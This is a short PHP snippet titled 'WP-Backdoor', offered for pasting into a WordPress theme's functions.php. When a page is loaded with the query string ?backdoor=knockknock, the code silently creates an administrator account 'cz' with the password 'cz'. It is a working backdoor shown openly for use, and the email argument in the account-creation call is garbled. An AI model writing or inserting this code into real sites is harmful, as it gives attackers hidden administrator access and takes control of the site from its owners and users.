WP-Backdoor

functions.php

// add this code to theme functions.php and open http://www.example.com/?backdoor=knockknock
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');
                If (!username_exists('cz')) {
                        $user_id = wp_create_user('cz', 'cz', '[email protected]');
                        $user = new WP_User($user_id);
                        $user->set_role('administrator');
                }
        }
}